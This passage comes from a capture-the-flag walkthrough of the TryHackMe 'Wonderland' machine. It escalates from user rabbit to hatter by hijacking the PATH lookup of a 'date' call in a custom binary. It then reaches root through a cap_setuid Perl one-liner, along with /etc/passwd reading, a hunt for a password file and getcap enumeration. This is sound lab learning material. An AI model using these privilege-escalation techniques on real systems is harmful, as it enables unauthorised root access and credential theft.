cat /etc/passwd
rabbit@wonderland:/home/rabbit$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tryhackme:x:1000:1000:tryhackme:/home/tryhackme:/bin/bash
alice:x:1001:1001:Alice Liddell,,,:/home/alice:/bin/bash
hatter:x:1003:1003:Mad Hatter,,,:/home/hatter:/bin/bash
rabbit:x:1002:1002:White Rabbit,,,:/home/rabbit:/bin/bash

User 1003 seem to be the hatter himself. That means we may be able to escalate to at least the hatter. But how?

Let’s take a closer look at our teaParty program. Most of the outputs are calls that output directly to the console, but one is a system call! The system call is composed of 2 commands:

    
/bin/echo -n 'Probably by ' &&
date --date='next hour' -R

The echo uses a hard path and is not exploitable, however, date doesn’t. The program will be forced to lookup the $PATH variable to find the date program. This is a common programmign error that can be abused with a bit of path tampering.

Let’s head back to our target machine and modify our $PATH


export PATH=/home/rabbit:$PATH

A classic way to trick the shell is to use a symbolic link to replace the date program


ln -s /bin/bash date
./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by date: --date=next hour: invalid option
Usage:  date [GNU long option] [option] ...
        date [GNU long option] [option] script-file ...
GNU long options:
        --debug
        --debugger
        --dump-po-strings
        --dump-strings
        --help
        --init-file
        --login
        --noediting
        --noprofile
        --norc
        --posix
        --rcfile
        --restricted
        --verbose
        --version
Shell options:
        -ilrsD or -c command or -O shopt_option         (invocation only)
        -abefhkmnptuvxBCHP or -o option
Ask very nicely, and I will give you some tea while you wait for him

Segmentation fault (core dumped)

Ok that didn’t work. Delete the link with rm


rm ./date

It doesn’t seem to like the flags we’re passing, so let’s try to ignore them by doing something silly.

Create a new file called date in the current directory, for example:


vim date

Inside, add the following “code”

    
#!/bin/sh
/bin/bash

and exit with :wq

Let’s run the teaParty once more.


./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$

Let’s check:


whoami
hatter

Yay! Another user down, though this rabbit hole is pretty deep.

Mad as a Hatter

Let’s see what we have in the hatter’s home directory.


cd /home/hatter
ls -la
total 28
drwxr-x--- 3 hatter hatter 4096 May 25 22:56 .
drwxr-xr-x 6 root   root   4096 May 25 17:52 ..
lrwxrwxrwx 1 root   root      9 May 25 17:53 .bash_history -> /dev/null
-rw-r--r-- 1 hatter hatter  220 May 25 02:58 .bash_logout
-rw-r--r-- 1 hatter hatter 3771 May 25 02:58 .bashrc
drwxrwxr-x 3 hatter hatter 4096 May 25 03:42 .local
-rw-r--r-- 1 hatter hatter  807 May 25 02:58 .profile
-rw------- 1 hatter hatter   29 May 25 22:56 password.txt

Ohh passwords! I like passwords!


cat password.txt
$HATTER_PASSWORD_MASKED_AS_PER_USUAL

Ok this is useful.

Can we sudo?


sudo -l
[sudo] password for hatter:
Sorry, user hatter may not run sudo on wonderland.

Ah this could be a problem.

Let’s see if the hatter owns any other files on the system that can give us some clues


find / -xdev -user hatter 2>/dev/null
/home/hatter
/home/hatter/.local
/home/hatter/.local/share
/home/hatter/.local/share/nano
/home/hatter/.bash_logout
/home/hatter/password.txt
/home/hatter/.cache
/home/hatter/.cache/motd.legal-displayed
/home/hatter/.profile
/home/hatter/.bashrc
/home/hatter/.gnupg
/home/hatter/.gnupg/private-keys-v1.d

Nothing terribly interesting here, let’s see if his group is part of something good.


find / -xdev -group hatter 2>/dev/null
/home/hatter
/home/hatter/.local
/home/hatter/.local/share
/home/hatter/.local/share/nano
/home/hatter/.bash_logout
/home/hatter/password.txt
/home/hatter/.cache
/home/hatter/.cache/motd.legal-displayed
/home/hatter/.profile
/home/hatter/.bashrc
/home/hatter/.gnupg
/home/hatter/.gnupg/private-keys-v1.d
/usr/bin/perl5.26.1
/usr/bin/perl

Curiouser and curiouser, now whyever would Perl be in the hatter’s group? This merits further exploration. Some google-fu can bring us to the GTFOBins page for Perl. While we can’t sudo, and the suid bit isn’t set on this perl executable, there are hints that capabilities might be used to spawn a privileged shell.

Welp, TIL. So the manpage probably tells us how to actually view a program’s capabilities, but who has time to read the f*cking manual? So let’s google it!

I found the following page which explains hwo to view and set linux capabilities. The program is called getcap.

Let’s check the man page for getcap


man getcap
GETCAP(8)                                      System Manager's Manual                                      GETCAP(8)

NAME
       getcap - examine file capabilities

SYNOPSIS
       getcap [-v] [-r] [-h] filename [ ... ]

DESCRIPTION
       getcap displays the name and capabilities of each specified

OPTIONS
       -r  enables recursive search.

       -v  enables to display all searched entries, even if it has no file-capabilities.

       -h  prints quick usage.

       filename
           One file per line.

SEE ALSO
       cap_get_file(3), cap_to_text(3), setcap(8)

                                                     12 Nov 2007                                            GETCAP(8)

Let’s see what happens if we run it on everything. I’d guess that overriding capabilities like this would be fairly rare.


getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

Oh my.

Root All the Things!!!

There’s only one thing left to do.


perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Remembering where the root flag was, that’s all she wrote.


whoami
root
cat /home/alice/root.txt
$YOU_THOUGHT_I_WAS_GOING_TO_LEAVE_THE_ROOT_FLAG_DIDNT_YOU

And thus concludes a most excellent adventure through wonderland. I had a good deal of fun and frustration with this box, notably getting a bit stuck at the false buffer overflow. All in all a great box demonstrating various interesting privilege escalations.